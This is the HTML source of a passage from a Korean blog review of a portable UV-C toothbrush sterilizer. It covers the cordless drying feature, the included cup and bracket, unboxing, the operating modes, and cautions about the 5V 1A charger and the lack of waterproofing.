&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;살균이 되는 게 좋으니까&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;쓰는 거지...&lt;/s&gt;)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 무선 건조!&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제가 이 제품을 구매한 이유입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제품 설명에 따르면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유선 연결이 아닌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;무선 상태에서&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;1시간 동안&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;60℃ &lt;/b&gt;&lt;/u&gt;로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;건조가 가능하다고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;547&quot; data-origin-height=&quot;201&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;184&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpWSSq/btrj6ctFpqe/1KUBAP57SsZ33ibVD1Gut0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpWSSq/btrj6ctFpqe/1KUBAP57SsZ33ibVD1Gut0/img.png&quot; data-alt=&quot;60분 건조&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpWSSq/btrj6ctFpqe/1KUBAP57SsZ33ibVD1Gut0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpWSSq%2Fbtrj6ctFpqe%2F1KUBAP57SsZ33ibVD1Gut0%2Fimg.png&quot; data-origin-width=&quot;547&quot; data-origin-height=&quot;201&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;184&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;60분 건조&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 제품들 처럼&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대충 건조하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무리 UV-C LED로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;살균을 해도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;남아있는 물기에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;균이 번식하기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소용이 없었는 데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무선 상태에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1시간 동안 건조를 해주니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;믿음이 갔습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;거치 및 물통 포함&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 품은 특이하게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물통이 포함되어 있더라구요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라켓이랑 USB선은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물통 안에 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;3000&quot; data-filename=&quot;20211106_133619.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EUvnb/btrj5dlNfdz/OvSGUGYaIfTVkqGmHJPRLK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EUvnb/btrj5dlNfdz/OvSGUGYaIfTVkqGmHJPRLK/img.jpg&quot; data-alt=&quot;거치대와 물통, 본체&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EUvnb/btrj5dlNfdz/OvSGUGYaIfTVkqGmHJPRLK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEUvnb%2Fbtrj5dlNfdz%2FOvSGUGYaIfTVkqGmHJPRLK%2Fimg.jpg&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;3000&quot; data-filename=&quot;20211106_133619.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;거치대와 물통, 본체&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 화장실 거치 및 휴대&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 제품들과 마찬가지로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3M 접착 스티커가 붙어있는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라켓이 포함되어 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화장실 벽에 붙여놓으면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;집 안팎 모두&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;편하게 쓸 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;860&quot; data-origin-height=&quot;1458&quot; data-filename=&quot;210923_커비랑_상세페이지_GIF_3.gif&quot; width=&quot;500&quot; height=&quot;848&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qsKth/btrj5dF36hP/05vtRONBlndotckkcHNMFk/img.gif&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qsKth/btrj5dF36hP/05vtRONBlndotckkcHNMFk/img.gif&quot; data-alt=&quot;커비랑 판매 페이지에서 가져옴&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qsKth/btrj5dF36hP/05vtRONBlndotckkcHNMFk/img.gif&quot; srcset=&quot;https://blog.kakaocdn.net/dn/qsKth/btrj5dF36hP/05vtRONBlndotckkcHNMFk/img.gif&quot; data-origin-width=&quot;860&quot; data-origin-height=&quot;1458&quot; data-filename=&quot;210923_커비랑_상세페이지_GIF_3.gif&quot; width=&quot;500&quot; height=&quot;848&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;커비랑 판매 페이지에서 가져옴&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;겸사겸사 파우치도 있어서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;깔끔하게 들고 다니겠더라구요.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 양치컵 포함&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;양치할 때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컵을 안쓰는 데...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이동시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;칫솔 보관 용도로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;딱이겠더라구요 :)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더군다나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본체와 자석으로 연결되어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;탈부착이 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;집에서 사용 시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컵을 거꾸로 매달아&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;건조 시킬 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;3000&quot; data-filename=&quot;20211106_135343.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NOUyO/btrj6de3rlo/ARiltq6LJe2vC7BHwMdlY0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NOUyO/btrj6de3rlo/ARiltq6LJe2vC7BHwMdlY0/img.jpg&quot; data-alt=&quot;자석으로 탈부착 가능한 양치컵...(사실 칫솔 보관함)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NOUyO/btrj6de3rlo/ARiltq6LJe2vC7BHwMdlY0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNOUyO%2Fbtrj6de3rlo%2FARiltq6LJe2vC7BHwMdlY0%2Fimg.jpg&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;3000&quot; data-filename=&quot;20211106_135343.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;자석으로 탈부착 가능한 양치컵...(사실 칫솔 보관함)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;UnBoxing&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구성품이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 박스 앞부분&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;심플한 박스 앞부분&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;3000&quot; data-filename=&quot;20211106_133348.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cpJZGw/btrj2gLiUZa/W5TFSbWnrAK7egQrs6tzT1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cpJZGw/btrj2gLiUZa/W5TFSbWnrAK7egQrs6tzT1/img.jpg&quot; data-alt=&quot;So Simple&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cpJZGw/btrj2gLiUZa/W5TFSbWnrAK7egQrs6tzT1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcpJZGw%2Fbtrj2gLiUZa%2FW5TFSbWnrAK7egQrs6tzT1%2Fimg.jpg&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;3000&quot; data-filename=&quot;20211106_133348.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;So Simple&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 구성&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도화지? 하드지?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로 된 설명서와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파우치, 커비랑 제품이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;3000&quot; data-filename=&quot;20211106_133529.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQZJtM/btrj2V7KQux/KjtkiRlyqxF6TyfmfG5Xe0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQZJtM/btrj2V7KQux/KjtkiRlyqxF6TyfmfG5Xe0/img.jpg&quot; data-alt=&quot;충전기를 줘... 5V 1A만 된다며...&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQZJtM/btrj2V7KQux/KjtkiRlyqxF6TyfmfG5Xe0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQZJtM%2Fbtrj2V7KQux%2FKjtkiRlyqxF6TyfmfG5Xe0%2Fimg.jpg&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;3000&quot; data-filename=&quot;20211106_133529.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;충전기를 줘... 5V 1A만 된다며...&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;revenue_unit_wrap&quot;&gt;
  &lt;div class=&quot;revenue_unit_item adsense responsive&quot;&gt;
    &lt;div class=&quot;revenue_unit_info&quot;&gt;반응형&lt;/div&gt;
    &lt;script src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot; async=&quot;async&quot;&gt;&lt;/script&gt;
    &lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block;&quot; data-ad-host=&quot;ca-host-pub-9691043933427338&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-format=&quot;auto&quot;&gt;&lt;/ins&gt;
    &lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;사용 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용 방법은 간단합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본체에 있는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전원 버튼을 터치하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;터치 1회(살균 모드)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- 10분 동안 자외선 살균&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;터치 2회(통합 모드)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- 5분 동안 1차 자외선 살균&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- 1시간 동안 건조&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; (자외선 살균과 동시 진행)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- 종료 전 10분 동안 2차 자외선 살균&lt;br /&gt;&lt;br /&gt;5초간 터치&lt;br /&gt;- 살균 종료&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;kakaotv&quot; data-video-url=&quot;https://tv.kakao.com/v/423699742&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/gkFHA/hyMfgvkwaI/hf5oXNurAH8WobjBgd57pK/img.jpg?width=1080&amp;amp;height=1920&amp;amp;face=0_0_1080_1920&quot; data-video-width=&quot;500&quot; data-video-height=&quot;889&quot; data-video-origin-width=&quot;860&quot; data-video-origin-height=&quot;1529&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-play-service=&quot;daum_tistory&quot;&gt;&lt;iframe src=&quot;https://play-tv.kakao.com/embed/player/cliplink/423699742?service=daum_tistory&quot; width=&quot;500&quot; height=&quot;889&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption&gt;사용 방법&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;주의할 점&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;몇가지 주의할 점이 있습니다 ㅠㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 5V 1A 충전기 사용&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;살균기들은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대부분 &lt;u&gt;&lt;b&gt;5V 1A 충전기&lt;/b&gt;&lt;/u&gt;를 사용합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;집에 쌓여있는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;충전기말고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새로 사야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ㅠㅠ...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 방수 제품이 아닙니다.&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0_0&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;욕실 제품인데...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;방수 제품이 아닙니다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회로가 들어나 보이는 건&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아니지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다고 물을 부어버리거나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하면 안됩니다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
